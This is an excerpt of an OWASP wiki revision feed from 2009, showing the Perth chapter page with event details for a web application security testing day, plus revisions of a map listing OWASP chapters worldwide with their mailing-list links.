		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=73662"/>
				<updated>2009-11-18T13:59:26Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated with details for the Perth AISA Tech day&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day ===&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
==== Details ====&lt;br /&gt;
&lt;br /&gt;
 '''Date: Friday 4th December, 2009'''&lt;br /&gt;
 '''Time: From 9.15am until 4.30pm (if you stay for the entire day)'''&lt;br /&gt;
 '''Location: [http://maps.google.com.au/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=2+Bradford+Street,+Mount+Lawley,+WA+6050&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=2+Bradford+St,+Mt+Lawley+WA+6050&amp;amp;z=16 Edith Cowan University, 2 Bradford Street, Mount Lawley, WA 6050]'''&lt;br /&gt;
 '''Registration: [http://eventarc.com/view/95/inagrual-aisa-perth-technical-security-day here]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Owasp_around_the_world&amp;diff=70132</id>
		<title>Owasp around the world</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Owasp_around_the_world&amp;diff=70132"/>
				<updated>2009-09-29T23:33:02Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: (forgot name for link)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;googlemap version=&amp;quot;0.9&amp;quot; lat=&amp;quot;10.141932&amp;quot; lon=&amp;quot;1.40625&amp;quot; type=&amp;quot;terrain&amp;quot; zoom=&amp;quot;2&amp;quot; width=&amp;quot;1000&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&lt;br /&gt;
(O) 39.202016, -76.859368, Columbia,MD&lt;br /&gt;
OWASP Headquarters&lt;br /&gt;
&lt;br /&gt;
(C) 33.8164,-84.3320,atlanta             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-atlanta Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 48,16,vienna              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-vienna Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 10.76,78.7,bangalore           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-bangalore Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 50.9,4.5,belgium             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-belgium Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 42.378,-71.2277,boston              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-boston Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 42.9408,-78.7358,buffalo             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-buffalo Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 35.1313,-80.7675,charlotte           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-charlotte Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.9235,-88.2190,chicago             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-chicago Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.0537,-83.0725,ohio                &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ohio Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 28,77,delhi               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-delhiMailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 26.1000,-80.2167,florida             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-florida Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 50,8,germany             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-germany Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37,23,greece              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-greece Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22,114,hongkong            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-hongkong Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 21,79.05,hyberabad           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-hyderabad Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 8,76,kerala              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kerala Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22,88,kolkata             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kolkata Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 53,-6,ireland             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ireland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 31,35,israel              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-israel Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 45,9,italy               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-italy Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.1391,-94.6920,kansascity          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kansascity Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 51,0,london              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-london Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 34.0522342,-118.2436849,Los Angeles          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-losangeles Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.023200,-89.499200,madison             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-madison Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -37,144,australia           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-australia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 19.43,-99.07,mexicocity          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-mexicocity Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 44.9905,-93.0766,twincities          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-twincities Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 18.9,72.8,mumbai              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-mumbai Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.8435,-74.1530,nnj                 &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-nnj Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 52,4,netherlands         &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-netherlands Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.7480,-73.7655,newjersey           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-new-york Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.3453,-96.4430,southdakota&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-south_dakota Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.2895,-96.0437,omaha               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-omaha Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -32,116,perth&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Perth Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.1608,-74.9187,philadelphia        &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-philadelphia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.3047,-80.0713,pittsburgh          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-pittsburgh Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 9,-79.5,panama              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-panama Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.2,-77.6,rochester           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-rochester Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.6,-121.5,sacramento          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sacramento Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.6,-90.2,stlouis             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-stlouis Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 29.5,-98.5,sanantonio          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sanantonio Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37.8,-122.4,san-fran            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-san-fran Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37.3,-121.9,sanjose             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sanjose Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 47.6,-122.3,seattle             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-seattle Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 1,103,singapore           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-singapore Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 47,8,switzerland         &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-switzerland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -34,151,sydney              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sydney Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 35.1,-90,memphis             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-memphis Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 35,139,tokyo               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-tokyo Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.6,-79.4,toronto             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-toronto Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39,32,turkey              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-turkey Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.170070,-76.848333,washington          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-washington Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 49.8,-97,winnipeg            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-winnipeg Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 14,120,manila              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-manila Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 3,101,malaysia            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-malaysia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.8,-77.4,wash_dc_va          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-wash_dc_va Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 45,-76,ottawa              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ottawa Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 49,-123,vancouver           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-vancouver Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 42,-71.227,bostonfinancialdist &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-bostonfinancialdist Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.3,2.1,spain               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-spain Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -34.5667,-58.4167,argentina           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Argentina Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.5,-81.7,cleveland           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-cleveland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -15.47,-47.55,brazil (Brasilia)   &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-brazil Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -33.27,-70.4,chile               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-chile Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 24.64,46.77,riyadh              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-riyadh Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 5,-74.48,colombia            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-colombia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 24.48,66.59,pakistan            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-pakistan Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 55.41,12.31,denmark             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-denmark Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 53.34,-113.31,edmonton            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-edmonton Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 29.46,-95.22,houston             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-houston Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 30.2669,-97.7429,austin              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-austin Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -27.718,153.240,brisbane            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-brisbane Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22.57,120.12,taiwan              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-taiwan Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.7,-73.9,longisland          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-longisland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 60.39,25.51,helsinki            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-helsinki Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.856,-104.97,denver              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-denver Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 36.17,-86.78,nashville           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-nashville Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.669,-111.948,phoenix             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-phoenix Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 13,80.2,chennai             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-chennai Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 48.8167,2.3167,france              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-france Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 29.2,48,kuwait              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kuwait Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -36.51,174.47,newzealand          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-newzealand Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37.25,127,southkorea          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-southkorea Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 18.32,73.51,pune                &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-pune Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.3,2.1,spanish             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-spanish Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 51.1,-114,calgary             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-calgary Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.7039,-9.0359,portuguese          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-portuguese Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 32.7,-117.2,sandiego            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sandiego Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 23.1,72.6,ahmedabad           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ahmedabad Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.57,-86.75,alabama             &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-alabama Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 56.4,23.44,latvia              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-latvia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 59.2,18.03,sweden              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sweden Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.8,-84.3,cincinnati          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-cincinnati Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -23.32208,-46.757812,sanpaulo            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sanpaulo Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.0537,-83.0725,columbus            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-columbus Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.72,-118.030,orange_county       &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-orange_county Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 50.067021,19.920438,poland              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-poland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 13.44,100.3,thailand            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-thailand Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 9.05,7.32,nigeria             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-nigeria Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 10.759,106.662,vietnam             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-vietnam Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22.541,114.054,china-mainland      &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-China-Mainland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 31.208,121.503,china-mainland      &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-China-Mainland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.892,116.389,china-mainland      &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-China-Mainland  Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 44.05,-123.09,eugene              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-eugene Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.44,-72.39,hartford            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-hartford Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.57,-86.75,alabama             &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-alabama Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 21.18,-157.51,hawaii              &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-hawaii Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 27.382893,-82.4356,suncoast            &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-suncoast Mailing List]&lt;br /&gt;
&lt;br /&gt;
(M) 49.467232, 11.085205, OWASP_AppSec_Germany_2009_Conference&lt;br /&gt;
&lt;br /&gt;
(C) 31.194008, 29.959717,egypt&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-egypt Mailing List]&lt;br /&gt;
&amp;lt;/googlemap&amp;gt;&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Owasp_around_the_world&amp;diff=70131</id>
		<title>Owasp around the world</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Owasp_around_the_world&amp;diff=70131"/>
				<updated>2009-09-29T23:31:55Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: added Perth chapter&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;googlemap version=&amp;quot;0.9&amp;quot; lat=&amp;quot;10.141932&amp;quot; lon=&amp;quot;1.40625&amp;quot; type=&amp;quot;terrain&amp;quot; zoom=&amp;quot;2&amp;quot; width=&amp;quot;1000&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&lt;br /&gt;
(O) 39.202016, -76.859368, Columbia,MD&lt;br /&gt;
OWASP Headquarters&lt;br /&gt;
&lt;br /&gt;
(C) 33.8164,-84.3320,atlanta             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-atlanta Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 48,16,vienna              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-vienna Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 10.76,78.7,bangalore           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-bangalore Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 50.9,4.5,belgium             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-belgium Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 42.378,-71.2277,boston              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-boston Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 42.9408,-78.7358,buffalo             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-buffalo Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 35.1313,-80.7675,charlotte           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-charlotte Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.9235,-88.2190,chicago             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-chicago Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.0537,-83.0725,ohio                &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ohio Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 28,77,delhi               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-delhiMailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 26.1000,-80.2167,florida             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-florida Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 50,8,germany             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-germany Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37,23,greece              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-greece Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22,114,hongkong            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-hongkong Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 21,79.05,hyberabad           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-hyderabad Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 8,76,kerala              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kerala Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22,88,kolkata             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kolkata Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 53,-6,ireland             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ireland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 31,35,israel              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-israel Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 45,9,italy               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-italy Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.1391,-94.6920,kansascity          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kansascity Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 51,0,london              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-london Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 34.0522342,-118.2436849,Los Angeles          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-losangeles Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.023200,-89.499200,madison             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-madison Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -37,144,australia           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-australia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 19.43,-99.07,mexicocity          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-mexicocity Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 44.9905,-93.0766,twincities          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-twincities Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 18.9,72.8,mumbai              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-mumbai Mailing List]&lt;br /&gt;
&lt;br /&gt;
